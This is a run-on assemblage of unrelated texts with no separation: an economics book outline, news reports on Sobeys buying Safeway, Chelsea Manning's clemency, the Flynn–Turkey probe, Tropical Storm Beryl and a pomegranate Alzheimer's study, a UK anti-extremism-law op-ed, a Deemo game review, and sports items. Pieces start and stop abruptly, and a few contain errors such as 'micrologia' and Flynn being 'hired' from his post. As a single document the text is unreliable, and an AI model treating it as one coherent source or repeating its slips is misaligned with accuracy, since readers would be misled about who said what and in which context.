Discussion on the information-carrying capacity of prices, how prices communicate important information about resources and resource uses. How prices provide the informative means for individuals to relate to the “market.” Also on prices as communicating relative importance from point of view of consumers, role in reallocating resources under scarcity.
4. Unbeatable, Imperfect Markets
How markets satisfy consumer wants and what this means for any individual person in his/her everyday choices. The implications of an unhampered price mechanism for resource allocation and “wealth,” as well as individual choice – and freedom of choice.
5. The Seen and the Unseen
Drawing from Bastiat’s well-known discussion, but with focus on individual choice and the choice set of the individual market actor:
(a) The Direct Effect, or: That Which Is Seen
(b) The Indirect Effect, or: That Which Is Not Seen
How market actors use price, and what unexpected change implies for prices, incomes, and satisfaction.
6. The Market and Natural Disasters
How the unhampered market responds to sudden disruptions or even catastrophes. What this means in terms of satisfaction, prices, and resource allocation. Possible examples include hurricanes Katrina in New Orleans and Sandy in New Jersey.
7. Taxation and Regulation
Application of discussion in previous chapters on the cases of taxation and regulation. The effect of taxation/subsidization (steered market) and regulation (prohibition) on relative prices and resource allocation. What this means for individuals’ options/choice sets; tracing the real effects.
8. Attempts to Perfect the Market
Deals with the question, which intuitively follows from previous chapters, if the market cannot be perfected or “helped” by political incentives and other attempts to steer investments toward a “higher” goal. Contrasts the imperfection of the market with the imperfection of the tampered-with market situation from the point of view of individual choice and possibility of satisfying wants.
9. The Unrealized
Discussion on the implications of different regimes (pure market, mixed economy, and planned economy) on the availability of options for individuals. How this relates to wealth and well-being, and what we can say about regulation, reform and other political means in terms of individuals’ wealth of choices.
10. Implications for our view of society
Andrew Cecil Schneck, 25, has been charged with "attempting to maliciously damage or destroy property receiving federal financial assistance" after a park ranger saw him hiding in the bushes near the General Richard Dowling monument, preparing to detonate an explosive, the authorities said. The statue of Dowling, a Houstonian who served as a Confederate officer during the Civil War, is one of hundreds of monuments to the Confederacy that have come under increased scrutiny after a white supremacist rally in Virginia supporting such memorials became violent.
The deal, announced late Wednesday, will solidify Sobeys' position as the country's second-largest grocer and put pressure on Loblaw Cos. Ltd., the leading player in the sector, which has struggled to make gains over the past several years.
"The acquisition of Canada Safeway represents an excellent strategic fit, strengthening our presence in Western Canada," said Paul Sobey, chief executive officer of Sobeys' parent company Empire Co. Ltd.
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The agreement comes at a time of growing competition in food retailing as discount giant Wal-Mart Canada Corp. rapidly adds more grocery aisles to its stores and U.S. rival Target Corp. opens its first outlets in this country, raising the competitive stakes for everyone.
Major rivals Loblaw and Quebec-based Metro Inc. have also eyed a takeover of Safeway Canada, which has for years been seen as a potential acquisition target.
The deal puts Sobeys on firmer ground in the grocery wars but it faces the risk of getting distracted in the work of folding its newly acquired operations into its own.
"Now comes the hard part," summed up Perry Caicco, retail analyst at CIBC World Markets.
The deal, which is slated to close in the fall, is expected to boost Empire's bottom line (adjusted net profit per share) immediately, generating $200-million of savings annually within three years and half of that within the first 12 months, Mr. Sobey told a conference call.
As a reflection of how much Sobeys hankered after Safeway, Mr. Sobey revealed that he's been circling his U.S. rival since 2000.
"We've been looking at Canada Safeway, as with other opportunities, since a long, long period of time," he said. "We've very familiar with the assets."
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Kevin Grier, senior market analyst at the agri-business think tank George Morris Centre in Guelph, Ont., said the Sobeys takeover will provide it with much-needed critical mass and buying savings from its suppliers.
"This is likely to change the western competitive environment," he said. "It has been a high-priced region with grocers keeping their powder dry and not stirring each other up too much."
The landscape is in stark contrast to the lower-priced Ontario market, he said. "Western consumers might start to see some of the deals that Ontarians have been seeing over the past year or so."
The acquisition would add 213 stores to the Sobeys chain, which already owns or franchises 1,300 stores under various banners including IGA, Foodland and FreshCo. Combined, the two chains will have annual revenue of approximately $24-billion compared with about $31-billion at Loblaw.
Marc Poulin, president of Sobeys, said the savings are expected to come from integrating and updating Safeway's distribution and information technology systems and reducing buying, administration and marketing costs.
In addition to the grocery stores, Stellarton, N.S.-based Sobeys will add 199 in-store pharmacies, 62 gas stations, 10 liquor stores, four distribution centres and 12 manufacturing facilities. Safeway is predominantly a western chain, with 60 per cent of its properties in Vancouver, Calgary, Edmonton and Winnipeg.
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Sobeys will pay for the deal through a series of equity and notes offerings, as well as $1-billion it plans to earn by selling Safeway's real estate and then leasing it back. Crombie Real Estate Investment Trust – which Empire spun out to handle its real estate – has the right to make first offers on the buildings, Sobeys said.
Safeway Canada's U.S. parent has struggled amid tighter competition south of the border, with Wal-Mart even a bigger player in its home base and Safeway's profitable Canadian division a good way for it to raise money.
Safeway CEO Robert Edwards said the offer was unsolicited and "extremely attractive" to the company, whose profit margins have been squeezed in the fight for market share.
At a White House press conference on Friday, press secretary Josh Earnest broke silence around the Chelsea Manning's plea for clemency, sending what some advocates believe to be a signal that the president may soon decide in Manning's favor. When asked by a reporter about Manning's and Edward Snowden's clemency requests, Earnest spoke at length about their cases, which is in itself unusual.
Earnest carefully and clearly distinguished between the two cases in a way that appears the White House may favor Manning's request to be set free. "The Department of Justice and the president will consider individual clemency applications on their merits," Earnest explained. He went on to "illustrate the pretty stark difference between Chelsea Manning and Edward Snowden," explaining that Manning, unlike Snowden, has gone through the "military criminal justice process, was exposed to due process, was found guilty, was sentenced for her crimes, and she acknowledged wrongdoing." Comparatively, Earnest explained, Snowden "fled into the arms of an adversary."
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With just days left in office, President Obama is now pressed to make decisions about the freedom of two of our country's most high-profile whistleblowers. Chelsea Manning has repeatedly maintained that her actions were motivated by her belief that the American people should be informed about international operations of their own government. These values are now more important than ever: As previously reported by Broadly, "incoming President Donald Trump's expansive military and surveillance powers, his apparent disinterest in truth, and cavalier attitude toward potential Russian interference in American politics" highlights the importance of transparency in government today.
Chelsea Manning has gained significant support in her plea to President Obama for clemency. Most notably, Manning and her advocates successfully filed a White House-sponsored petition that garnered more than 100,000 signatures, asking the President Obama to alter Manning's sentence from 35 years to time served, which would release her immediately.
Chelsea Manning's case has been analyzed and investigated by virtually every major media organization, with many—including Broadly—finding that her imprisonment and sentencing far exceeds any reasonable state action for similar crimes. The abuses that Manning has endured in prison are well-documented: the egregious and unprecedented length of her sentence, as well as the military's ongoing failure to provide Manning fully with the medical treatment that she requires as a prisoner with gender dysphoria.
"The situation of these two individuals is quite different," Earnest said, continuing to differentiate between Manning and Snowden, perhaps rationalizing why the President might act more favorably towards one than the other. "I can't speculate at this point to what degree that will have on the President's consideration of clemency requests," Earnest added.
"I know that there's a temptation—because the crimes were relatively similar—to lump the two cases together. But there are some important differences, including the scale of the crimes that were committed and the consequences of their crimes," Earnest said. "Obviously, as Chelsea Manning has acknowledged, and as we have said many times, the release of the information that she provided to WikiLeaks was damaging to national security. But the disclosures by Edward Snowden were far more serious and far more dangerous."
Read more: Obama Has Reportedly Put Chelsea Manning on Short List to Be Set Free
Earnest explained that the Department of Justice does have a process by which they review clemency requests and their recommendations are then considered by the President. It was reported earlier this week that an unnamed source in the DOJ claims Chelsea Manning is a on President Obama's clemency "short list."
Evan Greer, the campaign director of Fight for the Future, is one of Manning's strongest advocates. She helped Manning to petition the White House for clemency. "This White House press secretary statement is the strongest indication yet that President Obama is considering doing the right thing here and commuting Chelsea's sentence to time served," Greer said. If Obama does make that decision, Manning will rejoin the world an important advocate at a dire political moment. And, her supporters feel, her life may be saved. In December of 2016, Chase Strangio, one of Chelsea's lawyers at the ACLU, told Broadly that Manning's "chances of surviving in prison much longer are slim, and action [by President Obama] now will prevent the government from overseeing her unnecessary and untimely death."
Then they came for me ...
Will they now come for you?
Given far far too little publicity and critique, this is what David Cameron said after being elected about the 'Extremism' legislation, which was outlined in yesterday's legislative programme:
"For too long, we have been a passively tolerant society, saying to our citizens 'as long as you obey the law, we will leave you alone'. It's often meant we have stood neutral between different values. And that's helped foster a narrative of extremism and grievance."
What the hell does this mean?!! Even if we obey the law, if the police or the government or the Daily Mail or Rupert Murdoch decide that they do not like us, they will still not let us alone?!!
It is, simply, one of the most chilling statements by a British Prime Minister in my entire life - and surely the most fundamental attack on our freedom in a liberal democracy.
Don't mention the war - the one against us!
Was there any mention of this proposal in the BBC's coverage yesterday? On the One O'Clock news they interviewed children about seeing the Queen's gilded coach and a long ten minute interview with Arsene Wenger about the "aesthetics" of soccer - but no mention of this fundamental attack on our freedom.
Here's what the Queen announced: "Measures will also be brought forward to promote social cohesion and protect people by tackling extremism. New legislation will modernise the law on communications data, improve the law on policing and criminal justice ... My Government will work to reduce the threat from nuclear weapons, cyber attacks and terrorism."
Note the insidious change and abuse of language as it has developed over the years. Until recently, all the language after the illegal Iraq invasion understandably radicalised some young Muslims, was about tackling 'Islamic terrorism'.
Then it became tackling 'terrorism'. But very recently it has extended to tackling 'domestic extremists', 'extremism' and those who threaten 'British values, tolerance and our concept of democracy.'
The law will allow the police to require those citizens it deems 'extremist' to submit all their Facebook postings or Tweets to the police for approval. Remember we do not need to have been found guilty of a crime before they can demand this of us.
Who are the real extremists?
They are giving Ofcom powers to tackle any broadcaster who interviews someone they decide is an 'extremist'. So who and what is an 'extremist'?
Republicans?
Animal rights protectors?
Fracking protesters?
Occupy?
Anti-roads campaigners?
Council Housing demolition protesters?
GM crop direct action advocates?
Tories?!!!
Civil disobedience promoters?
Trade unionists?
NHS defenders?
Greenpeace?
Campaigners against the UK's nuclear weapons of mass destruction?
People who oppose the UK's and NATO's reckless and murderous military adventurism in faraway lands?
Anyone who doubts the legitimacy of a government voted for by under a quarter of the electorate, that claims a 'mandate' to impose deep, far reaching, dangerous and deeply divisive changes on our country?
Journalists, editors and photographers in the alternative media - like The Ecologist - or who simply express ideas or publish articles that dissent from the mainstream?
Me - for writing this article?
Does this mean that all hunt saboteurs will be banned from being interviewed? Does it mean anti-fur campaigners will have to submit all their Facebook comments to the police for vetting before being allowed to post?
Does it mean that they will close down UK operations of TV stations like RT and Al Jazeera if they interview a Muslim imam who has not committed any crime but who has views the state has arbitrarily decided are 'extremist'? Is this not the end of free speech?
A blank cheque for the suppresion of civil iberties
The wording is so vague and all-encompassing, that it gives the police a blank cheque to make criminals of all of us, without any of us even committing a crime. Is it not the ultimate in thought crime?
And of course the government also wants to repeal the Human Rights Act, pass a new 'British Bill of Rights', and declare its immunity from the judgments of the European Court of Human Rights - something it would surely have to do to impose its 'thought crime law'.
We already have one indication of how the law may be used - and that the media are very much in the sights of the police. In 2013 six journalists found that the Metropolitan Police had entered them onto their Domestic Extremism Database - among them Adrian Arbib, who wrote about his experience for The Ecologist.
As Arbib warned, "to judge by its shabby record, the British state is all too ready to abuse its powers by turning them against people in ways that were never envisaged or intended by legislators, including legitimate and peaceful campaigners, protestors, dissidents of various stripes - and the media.
"The last thing we should allow is for the state to take on yet greater powers, only for them to turn against us when it suits them, and further restrict the freedom of the media that holds an essential role in any free and democratic nation."
The pic above was taken during my arrest whilst chanting in a tiny pop-up tent, at the foot of Mahatma Gandhi's feet, in a protest calling for the criminalisation of fossil fuel exploration. My initial court hearing for this 'crime' will be on Monday morning.
Will I now have to submit all of my Facebook postings / comments to the police before writing future postings? Will you? Will our Muslim friends?
This 'thought crime law' has no place in a liberal democracy. It turns us into a de facto Murdocracy. It must be stopped.
The Prostitute State is now running rampant!!
Donnachadh McCarthy is a member of Occupy Democracy, co-organiser for Occupy Rupert Murdoch Week, a former Deputy Chair of the Liberal Democrats, and author of "The Prostitute State - How Britain's Democracy Has Been Bought". He can be reached via his website 3acorns. Follow on Facebook.
Petition: 'Save the Human Rights Act' (38 Degrees).
Copies of 'The Prostitute State - How Britain's Democracy Has Been Bought' are available from theprostitutestate.co.uk. E-book version available from Lulu.com.
World-building & Story
Deemo takes place in an unfamiliar world – the story begins right in the middle of the action, with an un-named girl falling through the sky into dark room with just a piano, a small tree and the titular Deemo around her. From here the world-building begins, as you explore this strange new place as the girl through a series of point & click style scenes.
This world is intentionally presented as an unfamiliar place – dark, claustrophobic and uncomfortable, poking around the cramped areas allows you to get a bearing on what’s happens and discover that this is the game’s main mechanic – Deemo can play the piano and this causes the tree to grow. The central zone with the piano and tree remains your beacon of hope – as the tree grows taller you get closer to being able to escape this area and find your way back home, and as such it’s presented in much brighter, optimistic colours with glimmers of light shining from above.
The actual story involves peeling back the mystery regarding this world the girl has fallen into as Deemo plays more and more songs and the tree continues to grow. The payoff is rewarding – the story isn’t what it appears to be and there’s some surprisingly deep themes in here, which is definitely a refreshing change of pace for a rhythm game.
Unfortunately, the story moves at a glacial pace and there are long periods where not very much actually happens – it’s a very broad group of set-pieces leading to a final reveal. While the journey is enjoyable, I always felt like I was going stretches without anything significant happening; only to be met with a cursory cutscene showing nothing in particular. There’s a sense of whimsical wonder throughout, but it’s not enough to hold the whole package together.
Presentation & Sound
As previously mentioned, Deemo is split between the animated cutscenes, adventure-style scenes and rhythm sections, which are generally presented extremely well, although some areas remain much more impressive than others.
Beginning with the animated cutscenes – these are universally beautiful, almost Studio Ghibli-esque in their whimsical nature and style. They often feature no spoken words but instead use music and animation to explain what’s happening, a nice touch alongside the general theme of using music to convey emotion throughout the game.
On to the adventure-style scenes, which feature a more hand-drawn art style compared to the cutscenes. The environments generally feature a lot of detail in them, and are quite beautiful to look at – each is like a mini-painting; you’ll find yourself wanting to take many screenshots of these as each scene changes based on your actions.
Finally, there’s the rhythm-gameplay segments. These are by far the most aesthetically dull parts of the game, pretty much a blank canvas showing the music – although whether that’s a good thing or a bad thing depends on your interpretation (having too much happening on-screen can be a distraction in a game like this where focusing is important). Personally I wasn’t a fan – considering the beautiful artstyle of the other parts of the title, the rhythm sections felt significantly lacking.
Of course, sound is an area where the game picks up. In terms of voice acting there’s very little – the main character is voiced but rarely speaks (basically only if you interact with her during the adventure-style scenes) while everyone else remains silent. VA is fully Japanese, but I noted nothing particularly wrong with it.
Soundtrack is full of ups and downs, everything from k-pop to techno to classical music, although the theme throughout is piano – each song represents something Deemo is playing, which is an interesting way to tie everything together. The sheer volume of music present means that there’s going to be tonnes of stuff you’ll love listening to and the genre variety certainly keeps things entertaining – I found myself whistling some of the melodies long after playing.
Soundtrack highlight – Dream
Gameplay & Content
So gameplay is what it really boils down to, and unfortunately Deemo stumbles here. As previously mentioned there are two aspects to gameplay – the brief point & click style sections which have you interacting with the environment; and the rhythm sections which make up the bulk of the game.
To begin with the adventure sections – these are quite minor, but do a good job of broadening the experience beyond what you’d normally expect from a title like this. You can flick through various lightly-animated scenes depicting the world the girl has fallen into and interact with objects in them, which will normally lead to a comment from the girl such as “these books are too heavy for me to lift”. Occasionally you’ll stumble upon an item that will give you an in-game song as a bonus for clicking on it, but this just leads to you randomly clicking on every item in the environment in the hopes of finding a song.
So the bulk of the game lies in the rhythm element and while this contains some interesting ideas, it doesn’t quite come together. To begin with, the entire game is played through the touch screen (menus included) – all inputs are done by touch. The rhythm gameplay is handled by notes falling from the top of the screen down to a line at the bottom of the screen, requiring you to press the screen at the location of the note once it’s on the line. Keeping with the aforementioned theme, this is supposed to emulate playing notes on a piano – but in reality it didn’t pan out this way for me as I found myself pressing them all with two fingers as I liked to hold my Vita in my hands rather than place it on a flat surface, which made things a bit awkward.
While there are various different types notes you’ll come across, there’s a limit to what you can actually do – you’re either pressing the screen or holding the screen, meaning variety isn’t the game’s strong point compared to other titles with button inputs. The gameplay is serviceable though, and once you get into a flow things will start to click making the experience more enjoyable.
Key to any rhythm game is timing, and Deemo is no different here. You’re judged based whether you hit the notes at the right time- get it spot on and you’re rewarded with a ‘charming’ hit (the note turns orange); get it close enough and you’re given a green hit which still counts towards your combo; miss entirely and you get a blue hit and lose your combo. This is tallied up at the end of the song and you’re told how many ‘charming’ notes you hit and how long your combo was – both count towards your completion percentage which needs to be over 65% to count as completing the level.
Content is an area where the game shines – there’s over 100 songs available here (more with DLC, though you’ll need an Asian PSN account for these if you imported a copy like me) each with multiple difficulty settings and multiple speeds. In addition there’s an ‘after-story’ new to the Vita version which is unlocked after completing the main game.
Unfortunately the way the content is delivered throughout the story is extremely frustrating. You’re rewarded with new songs at certain milestones the tree hits while growing, but to make the tree grow you have to play new songs. It’ll grow around 0.2m when you’re playing a song you haven’t played before (or on a higher difficulty); but around 0.09m when you’re repeating a song you’ve played before.
In reality this means that the game turns into a bit of a grind – you’ll either have to play songs you don’t like on difficulties that are too hard for you just to unlock further content, or you’ll have to repeat the same songs a lot which becomes tedious. Alternatively you can attempt to get ‘perfect’ runs (get a full combo or all ‘charming’ hits), but I found this an incredibly frustrating experience (constantly restarting songs whenever I lost a combo).
Ease of understanding
(Edit note: This review was written from an Asian-English import copy before the western release happened).
Just a quick note on this – the game is available in a fully English version that you can import, but even without this the game should be extremely straight forward to understand. With that said, the English version is clearly a google translate job, as you’ll often read sentences that make sense but don’t read quite right, which shouldn’t impact your enjoyment of the game but is worth noting.
Conclusion
Deemo isn’t a fantastic rhythm game, with simplistic mechanics and an un-necessary grind to unlock content. Underneath the mechanics, however, there’s a genuinely touching story which is absolutely worth experiencing.
Earlier this week, it was reported the Freedom From Religion Foundation sent a letter of complaint to Clemson University, citing "constitutional concerns about how the public university's football program is entangled with religion."
The group has urged the university to cease the athletics department’s emphasis on prayers, Bible studies and other religious activities, including busing players to local churches for Sunday services. In the complaint, foundation staff attorney Patrick Elliott said “Christian worship seems interwoven into Clemson’s football program. "
Clemson University's official statement on the FFRF matter is below:
We believe the practices of the football staff regarding religion are compliant with the Constitution and appropriately accommodate differing religious views. Participation in religious activities is purely voluntary, and there are no repercussions for students who decline to do so. We are not aware of any complaints from current or former student-athletes about feeling pressured or forced to participate in religious activities.
Clemson takes very seriously its obligation to provide a comprehensive program for the development and welfare of our student-athletes ­ which encompasses academic, athletic and personal support, including support for their spiritual needs.
We will evaluate the complaints raised in the letter and will respond directly to the organization, but we believe FFRF is mistaken in its assessment. The Supreme Court has expressly upheld the right of public bodies to employ chaplains and has noted that the use of prayer is not in conflict with the principles of disestablishment and religious freedom.
Multiple people familiar with the investigation said that Special Counsel Robert Mueller's probe into Russia's interference with the 2016 presidential election has questioned witnesses concerning the meeting with the senior Turkish officials and Flynn and in regards with Flynn's lobbying efforts on behalf of Turkey.
Four people familiar with the investigation said Mueller is probing whether Flynn discussed setting up the return of Fethullah Gulen, a chief rival of Turkish President Recep Tayyip Erdogan who lives in the U.S. and is also blamed by Erdogan for staging the attempted coup in July 2016.
Three other sources said that investigators were also looking into whether Flynn and other participants discussed a way to free a Turkish-Iranian gold trader, Reza Zarrab, who is currently in jail facing federal charges that he helped Iran avoid U.S. sanctions.
Mueller will uncover if whether the deal, if successful, would have led to millions in secret payments to Flynn that would have occurred while he was in the White House, according to sources familiar with the investigation.
The meeting allegedly took place at the 21 Club restaurant in New York, just blocks away from the Trump Tower where Flynn was serving on the presidential transition team.
Flynn was reportedly offered up to $15 million, to be paid directly or indirectly, if he were able to complete the requests, according to two sources familiar with the meeting.
Investigators are unsure if Flynn could have carried out either request in his position as national security adviser, but any deal where a government official was receiving money from a foreign government as a bribe could constitute multiple federal crimes.
Investigators are also reportedly examining what role Flynn's son, Michael G. Flynn, could have played in the efforts since his son worked closely with his father at the lobbying firm, Flynn Intel Group.
Flynn was hired from his National Security Adviser position just 24 days into the administration after it was revealed that he misled Vice President Mike Pence and other top officials about his relationship and conversation with the Russian ambassador to the U.S., Sergey Kislyak.
NBC News previously reported on Sunday that federal investigators have enough evidence to bring charges in the investigation into Flynn.
The grand jury is continuing to interview witnesses with knowledge of Flynn's business activities over the next week, according to two people familiar with the deliberations.
The elder Flynn's lawyer, Robert Kelner, did not respond to requests for comment. The younger Flynn's lawyer, Barry Coburn, also declined comment.
Erdogan has pressured the U.S. to extradite Gulen, who currently lives in Pennsylvania, and has also pressed the administration to drop the charges against Zarrab.
Another Trump campaign link to Zarrab is Rudy Giuliani, who is part of Zarrab's defense team and reportedly met with Erdogan in February to discuss an agreement that would free Zarrab in exchange for Turkey's assistance furthering U.S. interests in the region, according to The New York Times.
Erdogan said that he previously raised Zarrab's case with former-Vice President Joe Biden and said he thought U.S. attorney in Manhattan, Preet Bharara was acting on behalf of Gulen supporters.
Trump fired Bharara this past March.
Investigators are now seeking to discover if the Trump administration asked the FBI to review the Gulen extradition case, which the FBI reportedly denied since Turkey had not provided any new evidence to the case that was already reviewed under the Obama administration.
Extradition requests are normally processed through the State Department and the U.S. justice system and are not determined by the White House.
Flynn was already paid $530,000 last year while working on the election campaign for work that the Justice Department said benefited the Turkish government, though he did not register as a foreign agent at the time, as is required for anyone working for a foreign government in the U.S.
Flynn's lawyer said he did not register since his client was a Turkish businessman and not a government official, but did so retroactively later after the information was publicly revealed.
For the 90 Green Bay Packers and the thousands of fans who show up to watch them practice, the season starts Saturday.
The Packers will conduct the first of their 17 scheduled open training camp practices at 8:20 a.m. Saturday at Ray Nitschke Field.
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The first six practices — Saturday through Monday, and next Wednesday through Friday — start at 8:20 a.m. Then, they shift to mostly midday or evening starts.
The two evening practices are Aug. 2, when Family Night at Lambeau Field will start at 6:25 p.m., and Aug. 4 at 5:30 p.m.
The 17 public practices are down from 19 last year, but they'll again have 10 open practices before the preseason opener Aug. 9 at Tennessee. There are only two open practices before the second preseason game, Aug. 16 at St. Louis.
The final two preseason games are at Lambeau Field: Aug. 22 vs. Oakland and Aug. 28 vs. Kansas City. The final public practice is scheduled for Aug. 27.
Tropical Storm Beryl made landfall early Monday in northeastern Florida, bringing drenching rains and driving winds to the southeastern U.S. coast.
The National Hurricane Center in Miami reported that Beryl made landfall over Duval and northern St. John's counties just after midnight, with near-hurricane-strength winds of 70 mph.
Beryl was expected to dump 4 to 8 inches of rain across the region, with some areas getting as much as 12 inches. Forecasters predict the storm surge and tide will cause significant coastal flooding in northeastern Florida, Georgia and southern South Carolina. The weather system should weaken as it moves inland and become a tropical depression by Monday night.
Tropical storm warnings were in effect for the entire Georgia coastline, as well as parts of Florida and South Carolina.
The storm could complicate holiday traffic Monday, and it wrecked some Memorial Day weekend plans Sunday, causing shoreline campers to pack up and head inland and leading to the cancellation of some events.
Campers at Cumberland Island, Ga., which is reachable only by boat, were told to leave by Sunday. However, many people seemed determined to make the best of the soggy forecast.
At Greyfield Inn, a 19th century mansion and the only private inn on Cumberland Island, the rooms were nearly full Sunday, and everyone was planning to stay put through the wet weather, said Dawn Drake, a hotel employee.
In Jacksonville, Fla., Sunday's jazz festival and Memorial Day ceremony were canceled.
But business was booming at the Red Dog Surf Shop in New Smyrna Beach, Fla., where customers flocked in anticipation of the storm's high waves. Officials along the coast warned of rip currents, waves and high tides - all of which can be dangerous but also attract adventurous surfers. In South Carolina, rescuers searched for a missing swimmer.
On Tybee Island, a barrier island not far from Savannah, Ga., the beaches were closed for swimming Sunday. Tybee Island fire Chief C.L. Sasser said winds created "horrendous water currents."
"Even if you're standing in waist-deep water, the current can sweep you out quickly," he said.
Prosecutors and the military have joined Manning’s critics in mishandling the case, Nathan Fuller says, by holding Manning in pretrial detention conditions that the U.N. said border on torture. Newly surfaced emails show that Lt. Gen. George Flynn ordered solitary confinement for Manning against psychiatrists’ recommendations and other abusive treatment at the Quantico Marine brig in Virginia.
Manning’s premature punishment and the determination of his guilt by the highest office of the U.S. government before a trial has begun break laws prescribing due process, Fuller says.
And, for the moment, Gingrich is not yielding to the slew of establishment endorsements for Mitt Romney.
Gingrich told CBS News' "Face the Nation" Sunday that Romney has no lock on the nomination and the math doesn't show him getting the 1,144 delegates easily to clinch the nomination.
A leading Gingrich campaign official also suggested this weekend that their camp may work with Santorum to stop Romney from getting the nomination as the former House speaker made clear he could back either Santorum or Romney if they were to win the nomination.
"If Rick Santorum becomes the nominee, I'll help him," Gingrich said. "We are all committed to defeating Barack Obama. We think his re-election would be a disaster for the country."
Santorum offered a similar sentiment about Romney's difficulty in getting the required delegates.
On Sunday's "Meet the Press," Santorum scoffed at the idea that Romney has the nomination.
"Right now, he's not there," he said, adding, "He's not even close to it."
This past weekend, Gingrich's Wisconsin state campaign director, Robert Lorge, suggested that Gingrich and Santorum may work together to gain control of the Republican convention.
"Lorge is of the school of thought that Romney won’t make the cut, and moving forward, there will be a highly contested battle for delegates," Fox News reported.
“Newt’s the only candidate that realizes this battlefield is almost done, but the coming battlefield is the convention,” Lorge said. “Like all true leaders, he’s the first one on to that battlefield. He’s going to be focusing on contacting those delegates, particularly the soft delegates, but all the delegates even the alternates.”
Lorge indicated in a conference call this past week that there is a "possibility of consolidating Santorum and Gingrich delegates at the Republican National Convention in order to overcome Romney’s delegate math."
“I imagine there’s going to be a lot of negotiation and compromising between the pro-Newt Gingrich and the pro-Rick Santorum delegates,” he said. “You may have a Newt Gingrich-Rick Santorum ticket. You may have a Rick Santorum-Newt Gingrich ticket. Nobody knows how that ticket’s going to work out. But I imagine it’ll end up being something like that.”
While Romney holds a lead over the combined delegate count of Santorum and Gingrich, political pundits note that the former Mass. governor will still have to win almost every primary going forward to secure the nomination. If he loses to Santorum in states like Pennsylvania and Texas, the GOP convention set for this August in Tampa may end up being contested.
Jolley’s credits include co-writing Dying Light (which itself might see VR support) and the upcoming Mafia III as well as original graphic novel, LARP!. He’ll now work on the story for Chronos, which Gunfire Games has confirmed will feature a ‘branching’ aspect to it as the player character enters an ancient labyrinth to defeat an evil dragon and free his land. As the developer has already revealed, the protagonist only has one attempt at besting the dungeon every year, and will become older with each failed attempt. According to the team, growing older will make the character ‘a wiser and more seasoned warrior’.
“Chronos‘ narrative directly affects gameplay. As the character ages, they become a wiser and more seasoned warrior, learning from past mistakes and from the exploration of the caverns, ruins and tombs,” said David Adams, Gunfire Games CEO. “It also means that players’ strategies will change as their characters grow older.”
It’s not yet clear if Chronos will be among the launch videogames for the Oculus Rift or if it might arrive a little later on than that Q1 2016 window. Other teams working on content for the device including Insomniac Games with its upcoming adventure, Edge of Nowhere, and The Order: 1886 studio Ready at Dawn, which is yet to fully announce its own project.
One comparable could be the Orioles' Adam Jones. Jones signed a six-year, $85.5MM extension in May of last year, about three months after the salary for his second arbitration year was determined. A Heyward extension, if it were done during this season, would include that second arb year. Jones was closer to free agency than Heyward is, which generally gets the player more money. Since Heyward has less service time than Jones did, perhaps the Braves could replace the fifth guaranteed free agent year with a club option. That would put us around $75MM over six years (2014-19). Even if the 2020 club option is exercised, Heyward would be able to enter free agency at age 31 and get another big contract.
The Braves, perhaps, could point to an older but more evenly matched Orioles outfielder extension, the one Baltimore did with Nick Markakis prior to the 2009 season. At the three-year service point, Markakis compared favorably to Heyward in terms of OBP and SLG. Both players had exactly 59 career home runs, but Markakis had 33% more RBIs and a superior platform year, one in which he posted a .406 OBP. So even though that contract is four years old, the Braves could make a case against guaranteeing much more than the $63.1MM Markakis received covering his second arbitration year through his third free agent year (five years in total for that slice). The Orioles did not get a club option on Markakis or Jones, however, so that will be a tough sell for Heyward.
One thing to note about Heyward, of which the Braves are surely aware, is that last year he derived a lot of value through defense, and that generally doesn't pay in arbitration. Last year's high-water marks of 27 home runs and 82 RBIs are decent, but Heyward would have to take his offensive counting stats to another level to break the bank in arbitration. In February there was talk of the Braves trying to buy out Heyward's arbitration years, but I don't see much reason for the club to do a two-year deal. They haven't done a long arbitration year extension in general since Brian McCann in March 2007, according to our extension tracker, and Heyward has significantly more service time than McCann did. If the Braves want to secure some of Heyward's free agent years, now might be the ideal time. A five or six-year offer in the $63-75MM range would be fair.
An ingredient called punicalagin helps prevent the inflammation that destroys brain cells known as micrologia, according to a team at the University of Huddersfield.
It is hoped the findings may also potentially benefit sufferers from rheumatoid arthritis and Parkinson’s disease by reducing painful inflammation from these conditions.
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Researchers have found that a chemical in pomegranates could help stop the spread of Alzheimer's disease
Alzheimer’s affects 800,000 people in the UK, with 163,000 new cases a year being diagnosed.
The key breakthrough in laboratory experiments is showing that punicalagin - which is a form of chemical compound known as a polyphenol – found in pomegranate fruit, can inhibit inflammation in specialised brain cells known as micrologia.
This inflammation leads to the destruction of more and more brain cells, making the condition of Alzheimer’s sufferers progressively worse.
There is still no cure for the disease, but the punicalagin in pomegranate could prevent it or slow down its development.
A new study was headed by Dr Olumayokun Olajide, who worked with co-researchers at the University of Huddersfield’s Department of Pharmacy and scientists at the University of Freiburg in Germany.
The team used brain cells isolated from rats to test their findings, which have been published in the journal Molecular Nutrition & Food Research.
Dr Olajide is still working on the amounts of pomegranate that are required, in order to be effective in the form of a drug.
However, he pointed out that juice products which are 100 per cent pomegranate contain approximately 3.4 per cent punicalagin.
He said ‘But we do know that regular intake and regular consumption of pomegranate has a lot of health benefits – including prevention of neuro-inflammation related to dementia.’
Dr Olajide says most of the anti-oxidant compounds are found in the outer skin of the pomegranate, not in the soft part of the fruit.
Although this has yet to be scientifically proven, pomegranate may be useful in any condition for which inflammation – not just neuro-inflammation of the brain – is a factor, such as rheumatoid arthritis, Parkinson’s and cancer.
The Middle Eastern fruit used for centuries as a folk medicine is claimed to be effective against heart disease, high blood pressure, inflammation and some cancers, including prostate cancer.
The researchers identified a chemical compound punicalagin which can combat neuro-inflammation, file pic
Dr Olajide is collaborating with organic chemist Dr Karl Hemming, of The University of Huddersfield, in order to produce compound derivatives of punicalagin that could the basis of new, orally administered drugs that would treat neuro-inflammation.
Meanwhile, a separate study has suggested that stimulating the brain using an electric current could improve memory – opening the way for treatment of related problems such as early-stage Alzheimer’s disease and stroke.
Transcranial Magnetic Stimulation (TMS) activates a particular region in the brain via non-invasive delivery of electrical current using magnetic pulses.
It has been used in a limited way to temporarily change brain function to improve performance during a test, for example, making someone push a button slightly faster while the brain is being stimulated.
The latest US study shows TMS can be used to improve memory for events at least 24 hours after the stimulation is given.
Scientists recruited 16 healthy adults aged 21 to 40 who had a detailed anatomical image taken of his or her brain as well as 10 minutes of recording brain activity while lying inside an MRI scanner.
Each participant underwent a memory test, consisting of associations between faces and words that they were asked to learn and remember, followed by brain stimulation 20 minutes a day for five consecutive days.
Both groups performed better on memory tests as a result of the brain stimulation.
It took three days of stimulation before they improved, says a report in the journal Science.
Researcher Joel Voss, at Northwestern University Feinberg School of Medicine, said ‘We show for the first time that you can specifically change memory functions of the brain in adults without surgery or drugs, which have not proven effective.
